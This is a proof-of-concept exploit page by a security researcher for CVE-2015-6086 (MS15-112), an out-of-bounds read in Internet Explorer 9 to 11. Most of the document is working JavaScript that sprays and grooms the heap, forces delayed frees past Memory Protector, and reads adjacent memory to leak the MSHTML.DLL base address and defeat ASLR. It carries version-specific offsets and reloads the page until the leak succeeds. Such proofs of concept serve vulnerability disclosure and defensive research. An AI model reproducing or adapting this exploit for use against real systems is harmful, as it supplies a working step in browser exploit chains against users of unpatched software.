Microsoft Internet Explorer 9/10/11 – ‘CDOMStringDataList::InitFromString’ Out-of-Bounds Read (MS15-112)

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CVE-2015-6086

Out Of Bound Read Vulnerability

Address Space Layout Randomization (ASLR) Bypass

Improper handling of new line and white space character caused

Out of Bound Read in CDOMStringDataList::InitFromString. This

flaw can be used to leak the base address of MSHTML.DLL and

effectively bypass Address Space Layout Randomization.

Affected Version:

Internet Explorer 9

Internet Explorer 10

Internet Explorer 11

Test Bed:

IE: 10 & 11

KB: KB3087038

OS: Windows 7 SP1 x86

Advisory:

http://www.payatu.com/advisory-ie_cdomstringdatalist/

https://technet.microsoft.com/library/security/MS15-112

http://www.zerodayinitiative.com/advisories/ZDI-15-547/

Author: Ashfaq Ansari

Email: ashfaq[at]payatu[dot]com

Websites: www.payatu.com

www.nullcon.net

www.hardwear.io

www.null.co.in

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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with

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BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A

PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS

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<!DOCTYPE html>

<html>

<head>

<title>IE 10-11 Windows 7 SP1 x86 - OOB Read ALSR Bypass PoC</title>

/**

* This function is used to create string of desired size.

*

* @param character

* @param size

* @returns {string}

*/

function createString(character, size) {

while (character.length < size) {

character += character;

}

// BSTR structure

// header | unicode string | NULL terminator

// 4 bytes | sizeof(string) * 2 | 2 bytes

return character.substr(0, (size - 6) / 2);

}

/**

* This function is used to get the Internet Explorer's version.

*

* @link http://stackoverflow.com/questions/19999388/jquery-check-if-user-is-using-ie

* @returns {int | null}

*/

function getInternetExplorerVersion() {

var userAgent = window.navigator.userAgent;

var msie = userAgent.indexOf('MSIE');

if (msie > 0) {

return parseInt(userAgent.substring(msie + 5, userAgent.indexOf('.', msie)), 10);

}

var trident = userAgent.indexOf('Trident/');

if (trident > 0) {

var rv = userAgent.indexOf('rv:');

return parseInt(userAgent.substring(rv + 3, userAgent.indexOf('.', rv)), 10);

}

var edge = userAgent.indexOf('Edge/');

if (edge > 0) {

return parseInt(userAgent.substring(edge + 5, userAgent.indexOf('.', edge)), 10);

}

return null;

}

/**

* This function is used to leak the base address of MSHTML.DLL.

*

* @param offsetOfMSHTMLBaseAddress

*/

function LeakMSHTMLBaseAddress(offsetOfMSHTMLBaseAddress) {

// Step 1: Let's do some clean up

CollectGarbage();

var eventArray = new Array();

var polyLineArray = new Array();

var exploitSuccessful = false;

// Step 2: As the target object is stored in Process Heap

// instead of Isolated Heap, we can use any element that

// is stored on Process Heap to spray the Heap.

//

// To create a predictable pattern on Heap, we spray using

// "MsGestureEvent" and it's size is 0x0A0. We will use

// this object to read the VFTable pointer.

for (var i = 0; i < 0x1000; i++) {

eventArray[i] = document.createEvent('MsGestureEvent');

}

// Step 3: Now we need to create a hole in the allocation

// that we made earlier. The purpose of this hole is to

// allocate the vulnerable buffer just before the Heap

// chunk of "MsGestureEvent"

for (i = 1; i < 0x500; i += 2) {

eventArray[i] = null;

}

// Step 4: As Memory Protector is enabled by default on all

// versions of IE, it will not allow the free of objects

// instantly. So, we need to force free the memory due to

// Delayed Frees.

CollectGarbage2();

// Step 5: Now, fill the hole that we created earlier. The

// "requiredFeatures" property is allocated on OLEAUT32 Cache

// Heap, old Plunger technique does not seems to work for me.

// I have used a neat trick to bypass OLEAUT32 Cache Heap.

for (i = 0; i < 0x250; i++) {

polyLineArray[i] = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');

// Step 6: Trick to bypass allocation on OLEAUT32 Cached Heap

polyLineArray[i].setAttributeNS(null, 'attrib' + i, createString('A', 0x0A0));

// Step 7: Now, "requiredFeatures" property won't be allocated on OLEAUT32 Cache Heap.

polyLineArray[i].setAttributeNS(null, 'requiredFeatures', createString('\n', 0x0A0));

// Step 8: As the whole exploitation depends on certain Heap

// layout, thus, this is unreliable. But to overcome this

// un-reliability, I'm reloading the page until, right Heap

// Layout is achieved.

//

// This PoC is created for the vendor to acknowledge this bug,

// hence reliability is not my concern at this moment. We can

// make it more reliable, but let's leave it for later stage.

//

// Some heuristics to detect if Heap is in the right state.

// Once we have determined the Heap state, we can apply some

// more heuristics.

if (polyLineArray[i].requiredFeatures.numberOfItems == 2 && polyLineArray[i].requiredFeatures.getItem(1).length == 4) {

// Step 9: Read the Out of Bound memory

var OOBReadMemory = escape(polyLineArray[i].requiredFeatures.getItem(1));

// Step 10: Some more heuristics

var spitValue = OOBReadMemory.split('%');

var CDOMMSGestureEvent_VFTablePointer = parseInt('0x' + spitValue[3].replace('u', '') + spitValue[2].replace('u', ''));

var MSHTMLBaseAddress = CDOMMSGestureEvent_VFTablePointer - offsetOfMSHTMLBaseAddress;

// Step 11: Show the message to user

var message = 'MSHTML.DLL Base Address: 0x' + MSHTMLBaseAddress.toString(16);

message += '\n';

message += 'CDOMMSGestureEvent VFTable Pointer: 0x' + CDOMMSGestureEvent_VFTablePointer.toString(16);

alert(message);

// Step 12: Exploit successful

exploitSuccessful = true;

break;

}

// Step 13: As stated earlier, this is a bit unreliable.

// If the exploit has failed, reload the current page.

// If reloading does not help, close the browser and

// launch the exploit multiple times.

if (!exploitSuccessful) {

window.location.reload();

}

/**

* This function is used fill the wait list of the freed objects

* and trigger Garbage Collection.

*/

function CollectGarbage2() {

// Microsoft implemented Memory Protector to mitigate

// Use after Free vulnerabilities. The object protected

// by Memory Protector won't be freed directly. Instead,

// it will be put into a wait list which will be freed

// when it reaches certain threshold (i.e 100,000 bytes).

var video = new Array();

// Now allocate video element (400 bytes) 250 times

//

// Note: We are not using stack to store the references.

// If we use stack to store the references, the memory

// will never be freed during Mark and Reclaim operation

for (var i = 0; i < 250; i++) {

video[i] = document.createElement('video');

}

// Now free the elements. It will be put into the wait list.

video = null;

// Reclaim the memory by triggering Garbage Collection

CollectGarbage();

}

/**

* This function is used to launch the exploitation by leaking

* the base address of MSHTML.DLL.

*/

function LaunchExploit() {

var browserSupported = false;

var ieVersion = getInternetExplorerVersion();

var offsetOfMSHTMLBaseAddress = null;

if (ieVersion == 11) {

// If you are getting a wrong base address, please update this value

// offsetOfMSHTMLBaseAddress = VFTableAddress - MSHTMLBaseAddress

offsetOfMSHTMLBaseAddress = 0x0002ebe8;

browserSupported = true;

} else if (ieVersion == 10) {

// If you are getting a wrong base address, please update this value

// offsetOfMSHTMLBaseAddress = VFTableAddress - MSHTMLBaseAddress

offsetOfMSHTMLBaseAddress = 0x0000d270;

browserSupported = true;

} else {

alert('Current browser is not supported!\nExploit Tested on IE10 & 11 (Windows 7 SP1 x86)');

}

// Launch the exploit

if (browserSupported) {

LeakMSHTMLBaseAddress(offsetOfMSHTMLBaseAddress);

}

</script>

</head>

</body>

</html>

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